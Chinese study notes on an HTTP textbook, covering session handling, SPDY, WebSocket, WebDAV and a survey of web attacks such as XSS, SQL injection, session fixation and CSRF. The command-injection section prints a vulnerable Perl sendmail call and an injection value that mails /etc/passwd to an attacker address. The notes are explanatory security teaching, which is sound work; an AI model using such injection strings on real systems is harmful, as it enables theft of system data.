  • 服务器会发放用以识别用户的session ID。通过验证从客户端发送过来的登录信息进行身份验证,然后把用户的认证状态与Session ID绑定后记录在服务器端。返回响应时,会在Set-Cookie内写入Session ID中。因此必须防止Session ID被盗。为了做到这点,Session ID应使用难以推测的字符串,服务器也要进行有效期管理,保证安全性,建议事先在Cookie内加上httponly属性。
  • 客户端接收到从服务端发来的Session ID后,会将其作为Cookie保存在本地。下次向服务器发送请求时,会自动发送Cookie,所以Session ID也随之发送到服务器。
  • 不仅表单认证登录过程没标准化,服务器如何保存用户提交的密码等登录信息也没有标准化。(一种安全的保存方法是,先利用给密码加盐的方式增加额外信息,再使用散列函数计算出散列值后保存。)

9. 基于HTTP的功能追加协议

功能不能满足时代发展,故出现很多基于HTTP协议的协议

9.1 消除HTTP瓶颈的SPDY

google发布SPDY目标解决HTTP的性能瓶颈,缩短Web页面的加载时间(50%)。

  • Facebook 和 Twitter这样的SNS网站上,为了尽可能实时地显示这些更新的内容,服务器上一有内容更新,就需要直接把那些内容反馈到客户端的界面上。如果使用HTTP,需要频繁地从客户端到服务端进行确认,如果服务器上没有内容更新,那么就会产生徒劳的通信。
    • 一条连接上只可发送一个请求。
    • 请求只能从客户端开始,客户端不可以接收除响应以外的指令
    • 请求/响应首部未经压缩就发送,首部信息越多延迟越大。
    • 发送冗长的首部,每次互相发送相同首部造成的浪费较多。
    • 可任意选数据压缩格式,非强制压缩发送。
  • AJAX的解决方法:


  • Comet的解决方法:Comet会将响应置于挂起状态,当服务器端有内容更新时,再返回该响应。因此服务器一旦有更新,就可以立即反馈给客户端。虽然可以做到实时更新,但为了保留想有,一次连接的持续时间也变长了,也会消耗更多资源。扔未解决根本问题。
  • SPDY的目标:
    • 设计与功能,在应用层与运输层之间通过新加会话层的形式运作。同时,考虑到安全性问题,SPDY规定通信中使用SSL。


    • 使用SPDY后,HTTP协议额外获得以下功能:
      • 多路复用流:一个TCP连接,可以处理无限多个HTTP请求;
      • 赋予请求优先级:解决因宽带低而导致响应变慢的问题。
      • 压缩HTTP首部;
      • 推送功能:支持服务器主动向客户端推送数据的功能。
      • 服务器提示功能:服务器可以主动提示客户端请求所需的资源。客户端发现资源之前就可以获知资源的存在,因此在资源已缓存等情况下,可以避免发送不必要的请求。
    • SPDY消除Web瓶颈了吗
      • 实际运用状态不佳
      • 只将单个域名的通信多路复用,因为SPDY基本上只是将单个域名的通信多路复用,当一个Web网站上使用多个域名下的资源,改善效果就会受限。
      • 并非所有瓶颈问题都是因为HTTP问题,所以还需要其他方面的改善。

9.2 使用浏览器进行全双工通信WebSocket

问题在于通信若使用HTTP协议,就无法彻底解决瓶颈问题。

  • WebSocket的设计与功能:解决XMLHttpRequest附带的缺陷引起的问题。
  • WebSocket协议:一旦服务器与客户端建立起该协议的通信,之后所有的通信都依靠这个专用协议进行。因为基于HTTP,因此发起方仍是客户端。
    • 推送功能
    • 减少通信量:连接就一直保持连接状态。和HTTP相比,不但每次连接时的总开销减少,由于WebSocket的首部信息很小,通信量也相应减少了。
  • 握手-请求:为了实现WebSocket通信,需要用到HTTP的Upgrade首部字段,告知服务器通信协议发生改变,以达到握手的目的。
    • Sec-WebSocket-Key:记录握手过程中必不可少的键值
    • Sec-WebSocket-Protocol:使用的子协议(在连接分开使用时,定义那些连接的名称)
  • 握手-响应:对于之前的请求,返回状态码101 Switching Protocols的响应。
    • Sec-WebSocket-Key由请求中的Key字段值生成。
    • 成功连接后,通信时不再使用HTTP的数据帧,而采用WebSockets独立数据帧。

9.3 期盼已久的HTTP/2.0

  • 特点:改善用户在使用Web时的速度体验。
  • 基于以下几点:
    • SPDY
    • HTTP Speed + Mobility
    • Network-Friendly HTTP Upgrade

9.4 Web服务器管理文件的WebDev

创建删除基本功能,还具有文件创建者管理,文件编辑过程中禁止其他用户内容覆盖的加锁功能。



使用HTTP/1.1的PUT方法和DELETE方法,就可以对Web服务器上的文件进行创建和删除操作,但是处于安全性考虑,一般不使用。

  • 扩展HTTP/1.1的WebDAV:针对服务器上的资源,WebDAV新增加了一些概念:


    • 集合:统一管理多个资源的概念;
    • 资源:文件或集合;
    • 属性:定义资源的属性:"名称 = 值"
    • 锁:把文件设置成无法编辑状态,多人同时编辑室,可防止在同一时间进行内容写入。
  • WebDAV为实现远程文件管理,向HTTP/1.1中追加了以下这些方法:
    • PROPFIND:获取属性
    • PROPPATCH:修改属性
    • MKCOL:创建集合
    • COPY:复制资源及属性
    • MOVE:移动
    • LOCK:枷锁
    • UNLOCK:资源解锁

    • 102:处理中
    • 207:存在多种状态
    • 422:格式正确,内容有误
    • 423:已加锁
    • 424:处理与某请求关联的请求失败,因此不再维持依赖关系。
    • 507:保存空间不足

10. 构建Web内容的技术

10.1 Web应用

原本HTTP协议的Web机制就是对客户端发来的请求,返回事前准备好的内容。随着Web越发普及,需要引入程序创建HTML内容的做法,这种由程序创建内容的方法称为动态内容。


  • 与Web服务器及程序协作的CGI(Common Gateway Interface,通用网关接口)是指Web服务器在接收到客户端发送过来的请求后转发给程序的一组机制。在CGI的作用下,程序会对请求内容做出相应的动作,比如创建HTML等动态内容。
  • 因Java而普及的Servlet

10.4 数据发布的格式及语言

  • XML
  • RSS
  • Atom
  • JSON

11. Web的攻击技术

攻击大都将Web站点作为目标。

11.1 针对Web的攻击技术

HTTP协议本身不存在安全性问题。应用HTTP协议的服务器和客户端以及运行在服务器上的Web应用等资源才是攻击目标。
目前,来自互联网的攻击大都是冲着Web站点来的。

  • HTTP不具备必要的安全功能:HTTP就是一个通用的单纯协议机制,因此它具备很多优势,但是在安全性方面则呈劣势。因此,开发者需要自行设计并开发认证及对话来满足Web安全性,自行设计就会出现各种形形色色的实现。
  • 在客户端即可篡改请求:从浏览器那接收到等HTTP请求的全部内容,都可以在客户端自由地更变,篡改,所以Web应用可能收到与预期数据不同的内容。在HTTP请求报文加载攻击代码,就能发起Web应用的攻击。
  • 针对Web应用的攻击模式
    • 主动攻击:以服务器为目标的主动攻击,攻击者直接访问Web应用,把攻击代码传入的攻击模式,攻击者需要能够访问到那些资源。(SQL注入攻击和OS命令注入攻击)
    • 被动攻击:以服务器为目标的被动攻击,利用圈套策略执行攻击代码的攻击模式。攻击者不直接对目标Web应用访问发起攻击。
      • 攻击者诱导用户触发已设置好的陷阱,启动发送已嵌入攻击代码的HTTP请求。(广告诱导)
      • 用户不知不觉中招后,浏览器等就会触发这个陷阱。
      • 中招后,浏览器把含有攻击代码的HTTP请求发送给Web应用。
      • 执行后,存在安全漏洞的Web应用会成为攻击者的跳板,可能导致用户所持的Cookie等个人信息被窃取,登录状态中的用户权限遭恶意滥用等后果(跨站脚本攻击,跨站点请求伪造)。
      • 利用用户的身份攻击企业内部网络:利用被动攻击,可发起原本从互联网上无法直接访问的企业内网的攻击。

11.2 因输出值转义不完全引发的安全漏洞

  • 客户端的验证:不适合作为防范对策,只是为了今早地识别输入错误,提高UI体验的作用。
  • Web应用程序的验证
    • 输入值验证:按Web应用内的处理则有可能被误认为是具有攻击性意义的代码。输入值验证检查是否符合系统业务逻辑的数值或检查字符编码等预防对策。
    • 输出值转义:当输出值转义不完全时,会因触发攻击者传入的代码,而给输出对象带来损害。
  • 攻击方法:
    • 跨站脚本攻击:主要利用表单的输出值没有转义,在表单中执行攻击者的脚本。
      • 在表单中输入HTML标签
      • 在表单中输入执行脚本把客户表单中账号密码发送到自己的站点上
      • 在表单中执行自己定义好的脚本获取用户Cookie
    • SQL注入攻击:


      这样,攻击者就能看到一些还没有发售的书的资料了。

    • OS命令注入攻击:邮件发送的情况:
    my $adr = $q -> param('mailaddress');
    open(MALL, "| /usr/sbin/sendmail $adr");
    print MAIL "From: info@example.com\n";
    
    攻击者将:
    ; cat /etc/passwd | mail hack@example.jp
    
    作为邮件地址,则会执行cat /etc/passwd | mail hack@example.jp命令,含有Linux账户信息 /etc/passwd的文件就以邮件形式发给了攻击者邮件。
    • HTTP首部注入攻击
      • 设定任何Cookie信息
      • 重定向至任意URL
      • 显示任意的主体信息



        攻击者以:


        代替之前的类别ID后发送请求,由于该uri会加入到首部字段Location中,则:
      • HTTP响应截断攻击:加入两个换行符,重写主体内容。
    • 邮件首部注入攻击:与HTTP首部同理,加入换行符写入攻击性信息
    • 目录遍历攻击:
    • 远程文件包含漏洞:主要由于PHP存在的安全漏洞,对于PHP的include和require来说,这是一种可通过设定,制定外部服务器的URL作为文件名的功能。

11.3 因设置或设计上的缺陷引发的安全漏洞

  • 强制浏览:浏览器输入框中猜测uri,进行强制浏览。
    • 泄露顾客的客人信息
    • 泄露原本需要有权限用户才可查阅的内容
    • 泄露未连接到外界的文件
    • 例子:对日记没有权限查看,但是如果知道图片uri,没有权限也可以查看到图片。
  • 不正确的错误信息处理:
    • 登录信息错误给得太详细,攻击者可以尝试获取一些账号是否被注册 —— 保留到只给出 认证错误
    • 内部系统处理信息抛出给用户看见,攻击者根据系统信息获取到一些系统关系。
      • PHP脚本错误
      • 数据库或者中间件错误
      • Web服务器错误
  • 开放重定向:将重定向设置为攻击者网站

11.4 因会话管理疏忽引发的安全漏洞

  • 会话劫持:攻击者通过某种手段拿到了用户的会话ID,并非法使用此会话ID伪装成用户,达到攻击的目的。
    • 非正规方法推测Session ID
    • 窃听或XSS攻击盗取Session ID
    • 通过固定攻击强行获取会话ID
  • 会话固定攻击

    先访问Web网站拿到会话ID,会话ID在服务器上未认证,攻击者设置陷阱等待用户拿着这个会话ID前去验证,一旦用户完成验证,攻击者就可以使用这个ID访问网站。

    • Session Adoption: PHP或ASP.NET能够处理未知会话ID,攻击者可私自创建会话ID构成陷阱,中间件却会误以为该会话ID是未知会话ID而接受。
  • 跨站点请求伪造
    • 利用已通过认证的用户权限更新设定信息等
    • 购买商品
    • 发表非主观评论

11。5 其他安全漏洞

  • 密码破解
    • 通过网络的密码试错
      • 穷举法:把可能的密码集合一个一个尝试,总有正确的,但是候选密码很庞大时,解密需要数年或者千年。
      • 字典攻击:考虑到把生日日期数值化,比如将0101-1231保存成字典进行尝试。花费时间短,不一定成功。


      • 利用别处泄露的ID密码进行攻击。
    • 对已加密密码破解(侵入系统,获得加密或散列处理的密码数据情况),一般不会直接以明文的方式保存密码,通过散列函数或者加salt的手段对要保存的密码本身加密。
      • 通过穷举法字典攻击进行类推:尝试调用相同的散列函数加密候选码与目标散列值匹配。
      • 彩虹表:由明文密码及与之对应的散列值构成的一张数据库表,可在穷举法字典攻击等实际破解过程中缩短耗时。
      • 拿到密钥:使用共享密码加密式对密码数据进行加密处理,如果能通过某手段拿到加密使用的密钥也就可以对密码数据解密了。
      • 加密算法漏洞:难找漏洞,难以成功。
  • 点击劫持:点击注销就能从SNS网站上注销会员身份,目标SNS注销功能页面将作为透明层覆盖在游戏网页上,覆盖时,保证PLAY按钮与注销页面所在位置一致。
  • Dos(Denial of Service attack)攻击:让运行服务器呈停止状态的攻击。
    • 集中理由访问请求造成资源过载。
    • 攻击安全漏洞使服务停止。
  • 后门程序:指开发时设置隐藏入口,可不按正常步骤使用受限功能。
    • 开发阶段debug调用的后门程序
    • 开发者为自身利益植入的
    • 攻击者通过某种方法设置的
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 157,012评论 4 359
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 66,589评论 1 290
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 106,819评论 0 237
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,652评论 0 202
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 51,954评论 3 285
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,381评论 1 210
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,687评论 2 310
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,404评论 0 194
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,082评论 1 238
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,355评论 2 241
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 31,880评论 1 255
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,249评论 2 250
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 32,864评论 3 232
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,007评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,760评论 0 192
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,394评论 2 269
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,281评论 2 259

推荐阅读更多精彩内容